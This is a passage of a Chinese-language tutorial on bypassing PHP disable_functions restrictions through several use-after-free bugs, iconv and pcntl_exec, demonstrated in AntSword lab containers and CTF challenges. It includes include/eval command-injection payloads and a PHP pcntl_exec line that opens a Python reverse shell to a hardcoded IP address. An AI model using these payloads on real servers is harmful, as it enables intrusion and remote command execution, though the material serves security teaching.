將修改后的利用腳本exploit.php上傳到目標主機有權限的目錄中:
然后將exploit.php包含進來並使用POST方法提供你想要執行的命令即可:
/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvZXhwbG9pdC5waHAiKTs=
# include("/var/tmp/exploit.php");
POST: whoami=ls /
如下圖所示,成功執行命令:
在蟻劍中有該繞過disable_functions的插件:
點擊開始按鈕后,成功之后會創建一個新的虛擬終端,在這個新的虛擬終端中即可執行命令了。
利用 Json Serializer UAF
使用條件:
•Linux 操作系統
•PHP 版本
•7.1 - all versions to date
•7.2 < 7.2.19 (released: 30 May 2019)
•7.3 < 7.3.6 (released: 30 May 2019)
原理簡述
此漏洞利用json序列化程序中的釋放后使用漏洞,利用json序列化程序中的堆溢出觸發,以繞過 disable_functions 和執行系統命令。盡管不能保證成功,但它應該相當可靠的在所有服務器 api上使用。
利用腳本:https://github.com/mm0r1/exploits/tree/master/php-json-bypass
利用方法
利用方法和其他的UAF繞過disable_functions相同。下載利用腳本后先對腳本像上面那樣進行修改,然后將修改后的利用腳本上傳到目標主機上,如果是web目錄則直接傳參執行命令,如果是其他有權限的目錄,則將腳本包含進來再傳參執行命令。
我們利用 AntSword-Labs 項目來搭建環境:
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/6
docker-compose up -d
搭建完成后訪問 http://your-ip:18080:
拿到shell后無法執行命令:
查看phpinfo確定是設置了disable_functions:
首先我們下載利用腳本:https://github.com/mm0r1/exploits/tree/master/php-json-bypass
下載后,像之前那樣對腳本稍作修改:
將腳本像之前那樣上傳到有權限的目錄(/var/tmp/exploit.php)后包含執行即可:
/?ant=include("/var/tmp/exploit.php");
POST: whoami=ls /
如下圖所示,成功執行命令:
在蟻劍中有也該繞過disable_functions的插件:
點擊開始按鈕后,成功之后會創建一個新的虛擬終端,在這個新的虛擬終端中即可執行命令了。
利用iconv
利用條件
Linux 操作系統
putenv
iconv
存在可寫的目錄, 需要上傳 .so 文件
利用原理分析
https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/
利用復現
獲得鏡像
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/1s/9
docker-compose up -d
無法執行命令
使用iconv插件bypass
創建副本后,將url改為/.antproxy.php
利用 Backtrace UAF
使用條件:
•Linux 操作系統
•PHP 版本
•7.0 - all versions to date
•7.1 - all versions to date
•7.2 - all versions to date
•7.3 < 7.3.15 (released 20 Feb 2020)
•7.4 < 7.4.3 (released 20 Feb 2020)
原理簡述
該漏洞利用在debug_backtrace()函數中使用了兩年的一個 bug。我們可以誘使它返回對已被破壞的變量的引用,從而導致釋放后使用漏洞。
利用腳本:https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
利用方法
利用方法和GC UAF繞過disable_functions相同。下載利用腳本后先對腳本像上面那樣進行修改,然后將修改后的利用腳本上傳到目標主機上,如果是web目錄則直接傳參執行命令,如果是其他有權限的目錄,則將腳本包含進來再傳參執行命令。
利用 SplDoublyLinkedList UAC
使用條件:
•PHP 版本
•PHP v7.4.10及其之前版本
•PHP v8.0(Alpha)
引用官方的一句話,你細品:“PHP 5.3.0 to PHP 8.0 (alpha) are vulnerable, that is every PHP version since the creation of the class. The given exploit works for PHP7.x only, due to changes in internal PHP structures.”
原理簡述
2020年9月20號有人在 bugs.php.net 上發布了一個新的 UAF BUG ,報告人已經寫出了 bypass disabled functions 的利用腳本並且私發了給官方,不過官方似乎還沒有修復,原因不明。
PHP的SplDoublyLinkedList雙向鏈表庫中存在一個用后釋放漏洞,該漏洞將允許攻擊者通過運行PHP代碼來轉義disable_functions限制函數。在該漏洞的幫助下,遠程攻擊者將能夠實現PHP沙箱逃逸,並執行任意代碼。更准確地來說,成功利用該漏洞后,攻擊者將能夠繞過PHP的某些限制,例如disable_functions和safe_mode等等。
詳情請看:https://www.freebuf.com/articles/web/251017.html
利用方法
我們通過這道題 [2020 第一屆BMZCTF公開賽]ezphp 來演示一下利用 SplDoublyLinkedList UAC 來繞過disable_functions的具體方法。
進入題目,給出源碼:
可知,我們傳入的payload長度不能大於25,我們可以用以下方法來繞過長度限制:
a=eval($_POST[1]);&1=system('ls /');
發現沒反應
直接連接蟻劍:
連接成功后依然是沒法執行命令:
很有可能是題目設置了disable_functions來限制了一些命令執行函數,我們執行phpinfo看一下:
發現確實限制了常用的命令執行函數,需要我們進行繞過。
然后我們需要下載一個利用腳本:https://xz.aliyun.com/t/8355#toc-3
將腳本上傳到目標主機上有權限的目錄中(/var/tmp/exploit.php),包含該exploit.php腳本即可成功執行命令:
利用 pcntl_exec
使用條件:
PHP安裝並啟用了pcntl插件
pcntl是linux下的一個擴展,可以支持php的多線程操作。很多時候會碰到禁用exec函數的情況,但如果運維人員安全意識不強或對PHP不甚了解,則很有可能忽略pcntl擴展的相關函數。
pcntl_exec()是pcntl插件專有的命令執行函數來執行系統命令函數,可以在當前進程空間執行指定的程序。
利用pcntl_exec()執行test.sh:
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
由於pcntl_exec()執行命令是沒有回顯的,所以其常與python結合來反彈shell:
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
[第四屆“藍帽杯”決賽]php 這道題利用的就是這個點。